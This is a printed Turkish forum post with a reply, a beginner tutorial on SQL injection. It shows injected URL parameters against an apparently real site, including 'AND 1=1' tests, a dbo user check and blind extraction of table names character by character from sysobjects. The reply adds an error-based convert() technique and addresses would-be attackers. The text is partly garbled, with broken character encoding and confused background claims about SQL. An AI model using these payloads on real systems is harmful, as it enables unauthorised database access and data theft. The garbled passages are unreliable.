Sayfayı Yazdır | Pencereyi Kapat

SQL Enjekte Temel Ýçerik [Örnekli]

Nereden Yazdırıldığı: Bilginin Adresi
Kategori: Bilgisayar Güvenliði / Computer Security
Forum Adı: Güvenlik / Security Makaleleri
Forum Tanımlaması: Bilgisayarýnýzý Her Türlü Saldýrýya Karþý Korumak Ýçin Yapmanýz Gerekenler
URL: https://www.bilgineferi.com/forum/forum_posts.asp?TID=7980
Tarih: 04-05-2024 Saat 20:15


Konu: SQL Enjekte Temel Ýçerik [Örnekli]
Mesajı Yazan: megabros
Konu: SQL Enjekte Temel Ýçerik [Örnekli]
Mesaj Tarihi: 24-08-2009 Saat 00:47

Taným //


Dünya çapýnda bir að diyebiliriz. 20. yüzyýlda gereken deðerini yükseltmiþ ve istediði yere ulaþmýþ bir kod yýðýný. Hükümet ve bazý iþ alanlarý internet konusunda güvenilir bir veri arayýþý içindeydiler ve bir teklif sonucu SQL ortaya çýktý. Yine de güvenliði arttýrmak için hayatýmýza giren SQL kodlarýnda kritik güvenlik çýkýþlarý ile hayatýmýzdaki internet güvenliðine bir bakýma engel olmaktadýr.

Emniyetli uygulamalarý inþa etmek, ortaya k****k, geliþtirmek ve herhangi bir yazýlým ürününün gerçek bir bileþeni olduðunu saptamak amacýyla ortaya çýkmýþ bir veri türüdür.Bir resmi açýklama yapan sistemdeki kör noktalarý kavrayabilmemize dahi yarayabilir.Kýsaca bir not daha eklersem eðer SQL Injection’un Türkçesi SQL Enjeksiyon ’dur. Hatta Injeciton’un karþýlýðý da enjekte’dir. Bu yüzden ”SQL Ýnjeksiyon” yazan kiþiler tamamen baþka bir boyut katmýþ olurlar.

SQL Enjekte //

Ýlk baþta verilerin dokunulmasýna izin verin. Verilerle iç içe olun. Hiçbir standart veri SQL Enjeksiyon olmasýna veya çalýþmasýna olanak saðlamaz. Eðer ki veritabaný sahibi kolonlara giriþ için yetki verdiyse, saldýrganlar bu yetkiyi deðerlendirip gereken metodu uygulayacaktýr.Küçücük bir hata en büyük sistemlerin bile gülünç duruma düþmesi demektir.Veri türü kullanýcýdan gelen veriyi kabul eder ve bir düzene baðlý olarak SQL sorgularýný kullanýcýnýn isteðiyle veritabanýna yükler.Saldýrgan bu verileri aklýný kullanýrsa hertürlü düzenleme,ekleme ve silme yetkisine sahiptir.Bazý koþullarda ise saldýrgan veritabanýnýn köküne inmek ister ve baþarýlý olursa iþletim sistemine dahi girebilir.

SQL Enjeksiyon Korunmasýzlýðý //

Aðlar genellikle, bir veritabanýndan veriyi gerçi çaðýrmak için kullanýcýnýn giriþiyle oluþan bir yapýdýr. Þimdi sizlere bir örnek göstereceðim. Bu örnekte site adresi kullanmayacaðým fakat sadece bu sitenin kullandýðý dosya isimleri üzerinde anlatým yapacaðým.

http://www.knbykl.org/pressRelease.jspi?pressReleaseID=5 - http://www.knbykl.org/pressRelease.jspi?pressReleaseID=5

Þimdi buradaki sayfayý açtýðýmýzda veritabanýnda çaðýrýlan tablo þu þekilde olacaktýr.

SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5

Eðer ki siz bu tipte bir url ile karþýlaþýrsanýz heyecanlanmayýn, çünkü bu size bir þey kazandýrmaz.Eðer ki siz bu sisteme nasýl girerim diye düþünürseniz aklýnýza gelecek ilk alternatif, sistemde ki “pressReleaselID” tablosunda bir hata aramak olacaktýr.Bunu nasýl yapacaðým diye düþünürseniz ;

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND 1=1

Bu iþlemi uygulayýnýz. Burada sadece “AND 1=1” kodunu eklemiþ bulunuyoruz.

SELECT title, description, releaseDate, body FROM pressReleases WHERE pressReleaseID = 5 AND 1=1

Ýþlem sonucu veritabanýndaki tablodan bu hücreyi istediðimizi belirtiyoruz. Bu iþlem veritabanýnýn ne kadar hassas olduðunu bize verdiði hata kodlarýyla bildirecektir.Eðer ki sistem güvenli olmuþ olsaydý saldýrganýn bu isteðini ( 5 AND 1=1 ) geri çevirecekti ve Düzgün bir biçimde hatayla karþýlýlaþýlacaktý.

Hatalarla Ulaþýlan Verileri Sömürmek ( Exploit the Vulnerability ) //

Ne zaman SQL Enjekte etmek için test ettiðimiz adreste veritabaný her zaman kendini sorgular. 1=1 her zaman doðrudur. Biz ne olursa olsun önce nerede hatalarýn olduðunu ve Enjekte edilecek bölümü bilmeliyiz.Eðer bir enjekte durumunda sonuç tekrar ayný yere dönmüþ olursa enjekte ettiðimiz alanýn doðru alan olduðunu anlarýz. Biz her zaman sorgu yapmalýyýz ve bu sorguya yönelik gelen cevabý veritabaný bize verir. Acaba bu cevap : “Genel kullanýcý dbo” yanýtý vermektemidir ?

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND USER_NAME() = ‘dbo’

USER_NAME güncel kullanýcýnýn tablosuna dönen bir SQL servisçisi sayýlýrsa veya genel kullanýcý “dbo” ise 5. tablodan çaðýrdýðýmýz veri dönmüþ olacak, eðer deðilse sorgu baþarýsýz olacaktýr ve hiçbir bilgi görüntülenmeyecektir.Eðer ki çok detaylara inmek istiyorsanýz veya þöyle demeliyim kendinize güveniyorsanýz þu tipte de sorgular yapabilirsiniz.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 109

Subquery ( SELECT ), veritabanýnda ilk kullanýcý iþlemi için ismi soruyor
Substring Görev, sorgunun sonucunun ilk karakterine dönecek. Saldýrýnýn son karakterine kadar dönmesini saðlayacak.


http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 116

Bu kodlardan çýkan yorumumuz ise þöyledir ; Eðer ki sorgumuzda hiçbir deðer geri dönmüþ olmazsa sorgumuz 109’dan daha büyüktür.Ama 116’dan büyük deðildir.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 113


Yanlýþ ifade diye nitelendirilir. Biz bu sonuç karþýsýnda ulaþacaðýmýz verinin hangi kolonlar arasýnda olduðunu görebiliriz. Siz göremiyorsunuz fakat benim bulduðum sonuç : 110 – 113 arasýnda çýktý.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 1, 1))) > 111

Sonucum ben de yeniden yanlýþ çýktý. 111 yazmamýn nedeni bundan bir önceki sorgumda sonuca 110 ile 113 arasýnda bir sayýdan ulaþacaðýmý bilmemdir. Bu yüzden bu arada bir rakam denedim.

http://www.knbykl.org/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U”), 2, 1))) > 109
Sonuca ulaþýncya kadar çýkan sonuçta veri aktarýmý yapýn. Sonuna kadar ilerleyin elbet sonuca ulaþacaksýnýz.

Not : Red’in sitesi içinde bir döküman yazacaðým. Bu dökümandan ziyade bir insanýn baþarý öyküsünü andýracak.

darkpenguin demiþ ki :
“ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U’), 1, 1)))”

demi$sinde hoca,$imdi biraz hatalar var bu i$te  “SELECT TOP 1 name FROM sysobjects…” gibi bir komutu mssql icin kullaniyoruz.ama dokumanda ki ornek mysql’mi mssql’mi belli degil? ya deneyimsiz saldirgan bunu mysql bir sisteme deneyip husrana ugrarsa? bilgilendirme bu tur dokumantasyonlarda onemlidir.ayrica convert(int,(select blabla)); gibi guzel bir yontem daha var,dokumana eklenebilir

 
Saygýlar..



Sayfayı Yazdır | Pencereyi Kapat